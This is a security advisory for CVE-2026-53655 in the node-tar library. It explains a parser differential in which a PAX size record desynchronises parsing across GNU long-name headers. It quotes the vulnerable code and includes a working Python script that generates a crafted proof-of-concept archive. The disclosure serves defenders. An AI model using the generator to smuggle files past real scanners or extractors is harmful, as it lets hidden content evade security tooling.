tar
Affected
- introduced
0, fixed7.5.16(semver)
Fixed versions
7.5.16
Fix
- Fixed version
7.5.16npm install [email protected]
Advisory
Also known as: CVE-2026-53655
node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)
Summary
tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the *next file entry*, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /astral-tokio-tar).
The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.
This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.
Impact
tar.Vulnerable code (file:line)
src/header.ts (compiled to dist/esm/header.js:49 anddist/commonjs/header.js:85 in the published [email protected]):
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)
ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real *file* entry rather than an intermediary
extension header.
src/parse.ts, [CONSUMEHEADER] constructs the next header with the currentEX/GEX applied:
const header = new Header(chunk, position, this[EX], this[GEX])
and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:
if (entry.meta) {
// L / K / x / g metadata entries: this[EX] is left intact here
if (entry.size > this.maxMetaEntrySize) {
entry.ignore = true
this[STATE] = 'ignore'
entry.resume()
} else if (entry.size > 0) {
this[META] = ''
entry.on('data', c => (this[META] += c))
this[STATE] = 'meta'
}
} else {
this[EX] = undefined // EX cleared only once a real file entry is reached
}
When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, theL header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following *file* entry, so they stay synchronized.
The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).
How input reaches the sink
tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.
Proof of concept
Archive layout (all standard, GNU-tar-producible blocks):
block 0 : x header (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x payload : the single PAX record "...size=2048\n"
block 2 : L header (GNU long-name '././@LongLink'), real size = 13
block 3 : L payload : "longname.txt\0" (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)
Generator (make_tar.py, pure stdlib, no external deps):
def hdr(name, size, typeflag):
h = bytearray(512); name = name[:100]; h[0:len(name)] = name
h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
h[148:156] = b' ' * 8
cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
return bytes(h)
def pad(d):
return d + b'\0' * ((512 - len(d) % 512) % 512)
def pax_record(key, val): # length-prefixed PAX record "LEN key=val\n"
body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
while True:
s = str(n).encode() + body
if len(s) == n: break
n = len(s)
return s
pax = pax_record('size', 2048) # malicious: claim size=2048 for the "next" entry
out = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0') + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0') + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)
A negative-control archive is identical except the PAX record ispax_record('comment', 'x') (no size=), written to pax-control.tar.
Medium Basis: The source's own band: MODERATE
0, fixed 7.5.16 (semver)7.5.16
7.5.16npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0